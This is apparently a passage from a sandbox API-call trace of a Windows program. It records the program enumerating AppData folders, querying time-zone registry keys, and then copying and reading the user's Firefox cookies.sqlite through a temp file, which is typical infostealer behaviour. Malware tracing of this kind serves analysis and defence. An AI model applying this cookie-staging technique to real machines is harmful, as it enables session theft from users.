(in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0183.345] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fee40 | out: lpFindFileData=0x12fee40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0183.345] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0183.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0c8) returned 1 [0183.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff0d4) returned 1 [0183.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff0ac) returned 1 [0183.345] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x12feb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0183.346] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x12fedd4 | out: lpFindFileData=0x12fedd4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0183.346] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x973c546, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x973c546, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.346] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fede0 | out: lpFindFileData=0x12fede0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0183.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff068) returned 1 [0183.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff074) returned 1 [0183.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.403] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0183.404] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff09c) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff058) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff064) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff03c) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff8) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff004) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0183.410] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0183.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0183.411] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0183.680] GetTimeZoneInformation (in: lpTimeZoneInformation=0x12fef74 | out: lpTimeZoneInformation=0x12fef74) returned 0x2 [0183.737] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x12fedd0 | out: pTimeZoneInformation=0x12fedd0) returned 0x2 [0183.739] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x12feeb4 | out: phkResult=0x12feeb4*=0x4c0) returned 0x0 [0183.739] RegQueryValueExW (in: hKey=0x4c0, lpValueName="TZI", lpReserved=0x0, lpType=0x12feed0, lpData=0x0, lpcbData=0x12feecc*=0x0 | out: lpType=0x12feed0*=0x3, lpData=0x0, lpcbData=0x12feecc*=0x2c) returned 0x0 [0183.739] RegQueryValueExW (in: hKey=0x4c0, lpValueName="TZI", lpReserved=0x0, lpType=0x12feed0, lpData=0x326d9fc, lpcbData=0x12feecc*=0x2c | out: lpType=0x12feed0*=0x3, lpData=0x326d9fc*, lpcbData=0x12feecc*=0x2c) returned 0x0 [0183.740] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\W. Europe Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fed08 | out: phkResult=0x12fed08*=0x0) returned 0x2 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x12feea8, lpData=0x0, lpcbData=0x12feea4*=0x0 | out: lpType=0x12feea8*=0x1, lpData=0x0, lpcbData=0x12feea4*=0x20) returned 0x0 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x12feea8, lpData=0x326de20, lpcbData=0x12feea4*=0x20 | out: lpType=0x12feea8*=0x1, lpData="@tzres.dll,-320", lpcbData=0x12feea4*=0x20) returned 0x0 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x12feea8, lpData=0x0, lpcbData=0x12feea4*=0x0 | out: lpType=0x12feea8*=0x1, lpData=0x0, lpcbData=0x12feea4*=0x20) returned 0x0 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x12feea8, lpData=0x326de78, lpcbData=0x12feea4*=0x20 | out: lpType=0x12feea8*=0x1, lpData="@tzres.dll,-322", lpcbData=0x12feea4*=0x20) returned 0x0 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x12feea8, lpData=0x0, lpcbData=0x12feea4*=0x0 | out: lpType=0x12feea8*=0x1, lpData=0x0, lpcbData=0x12feea4*=0x20) returned 0x0 [0183.741] RegQueryValueExW (in: hKey=0x4c0, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x12feea8, lpData=0x326ded0, lpcbData=0x12feea4*=0x20 | out: lpType=0x12feea8*=0x1, lpData="@tzres.dll,-321", lpcbData=0x12feea4*=0x20) returned 0x0 [0183.742] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.742] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x137f8c8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0183.743] CoTaskMemFree (pv=0x137f8c8) [0183.743] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.743] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath=0x137f8c8, pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc | out: pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc) returned 1 [0183.744] CoTaskMemFree (pv=0x0) [0183.744] CoTaskMemFree (pv=0x137f8c8) [0183.745] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x3160001 [0183.746] CoTaskMemAlloc (cb=0x3ec) returned 0x1393de8 [0183.746] LoadStringW (in: hInstance=0x3160001, uID=0x140, lpBuffer=0x1393de8, cchBufferMax=500 | out: lpBuffer="(UTC+01:00) アムステルダム、ベルリン､ベルン、ローマ､ストックホルム､ウィーン") returned 0x2d [0183.746] CoTaskMemFree (pv=0x1393de8) [0183.746] FreeLibrary (hLibModule=0x3160001) returned 1 [0183.746] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.746] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x137f8c8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0183.747] CoTaskMemFree (pv=0x137f8c8) [0183.747] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.747] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath=0x137f8c8, pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc | out: pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc) returned 1 [0183.747] CoTaskMemFree (pv=0x0) [0183.747] CoTaskMemFree (pv=0x137f8c8) [0183.747] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x3160001 [0183.748] CoTaskMemAlloc (cb=0x3ec) returned 0x1393de8 [0183.748] LoadStringW (in: hInstance=0x3160001, uID=0x142, lpBuffer=0x1393de8, cchBufferMax=500 | out: lpBuffer="西ヨーロッパ標準時") returned 0x9 [0183.748] CoTaskMemFree (pv=0x1393de8) [0183.748] FreeLibrary (hLibModule=0x3160001) returned 1 [0183.749] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.749] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x137f8c8 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0183.749] CoTaskMemFree (pv=0x137f8c8) [0183.749] CoTaskMemAlloc (cb=0x20c) returned 0x137f8c8 [0183.749] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\WINDOWS\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath=0x137f8c8, pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc | out: pwszLanguage=0x0, pcchLanguage=0x12feec4, pwszFileMUIPath="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", pcchFileMUIPath=0x12feec8, pululEnumerator=0x12feebc) returned 1 [0183.749] CoTaskMemFree (pv=0x0) [0183.749] CoTaskMemFree (pv=0x137f8c8) [0183.749] LoadLibraryExW (lpLibFileName="C:\\WINDOWS\\system32\\ja-JP\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x3160001 [0183.750] CoTaskMemAlloc (cb=0x3ec) returned 0x1393de8 [0183.750] LoadStringW (in: hInstance=0x3160001, uID=0x141, lpBuffer=0x1393de8, cchBufferMax=500 | out: lpBuffer="西ヨーロッパ夏時間") returned 0x9 [0183.750] CoTaskMemFree (pv=0x1393de8) [0183.750] FreeLibrary (hLibModule=0x3160001) returned 1 [0183.751] RegCloseKey (hKey=0x4c0) returned 0x0 [0183.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", nBufferLength=0x105, lpBuffer=0x12febd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite", lpFilePart=0x0) returned 0x58 [0183.852] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12febd4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0183.852] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_52.2776960+02_0011"), bFailIfExists=0) returned 1 [0184.253] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12febe4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0184.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff098) returned 1 [0184.253] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_52.2776960+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff114 | out: lpFileInformation=0x12ff114*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20c7df1a, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x20c7df1a, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0xc0c432e8, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0184.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff094) returned 1 [0184.542] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12feb78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0184.607] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12feb58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0184.632] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12feb34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0184.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe8) returned 1 [0184.632] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_52.2776960+02_0011"), fInfoLevelId=0x0, lpFileInformation=0x12ff064 | out: lpFileInformation=0x12ff064*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20c7df1a, ftCreationTime.dwHighDateTime=0x1d69a99, ftLastAccessTime.dwLowDateTime=0x20c7df1a, ftLastAccessTime.dwHighDateTime=0x1d69a99, ftLastWriteTime.dwLowDateTime=0xc0c432e8, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x80000)) returned 1 [0184.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe4) returned 1 [0184.705] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", nBufferLength=0x105, lpBuffer=0x12fea4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011", lpFilePart=0x0) returned 0x52 [0184.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef90) returned 1 [0184.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\tempDataBase2020-10-04T23_55_52.2776960+02_0011" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\tempdatabase2020-10-04t23_55_52.2776960+02_0011"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4cc [0184.705] GetFileType (hFile=0x4cc) returned 0x1 [0184.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef8c) returned 1 [0184.705] GetFileType (hFile=0x4cc) returned 0x1 [0184.733] GetFileSize (in: hFile=0x4cc, lpFileSizeHigh=0x12ff144 | out: lpFileSizeHigh=0x12ff144*=0x0) returned 0x80000 [0184.907] ReadFile (in: hFile=0x4cc, lpBuffer=0x42894e8, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x12ff060, lpOverlapped=0x0 | out: lpBuffer=0x42894e8*, lpNumberOfBytesRead=0x12ff060*=0x80000, lpOverlapped=0x0) returned 1 [0185.087] CloseHandle (hObject=0x4cc) returned 1 [0185.107] VarDecCmp (pdecLeft=0x12ff180, pdecRight=0x12ff170) returned 0x2 [0185.392] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.394] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.396] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.396] VarDecCmp (pdecLeft=0x12feb24, pdecRight=0x12feb14) returned 0x1 [0185.412] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.412] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.415] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.417] VarDecCmp (pdecLeft=0x12ff108, pdecRight=0x12feb24) returned 0x1 [0185.417] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.418] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.419] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.421] VarDecRound (in: pdecIn=0x12feadc, cDecimals=0, pdecResult=0x12feaec | out: pdecResult=0x12feaec) returned 0x0 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, pdecResult=0x12feabc | out: pdecResult=0x12feabc) returned 0x0 [0185.422] VarDecCmp (pdecLeft=0x12feb24, pdecRight=0x12feb14) returned 0x1 [0185.422] VarDecRound (in: pdecIn=0x12feaac, cDecimals=0, 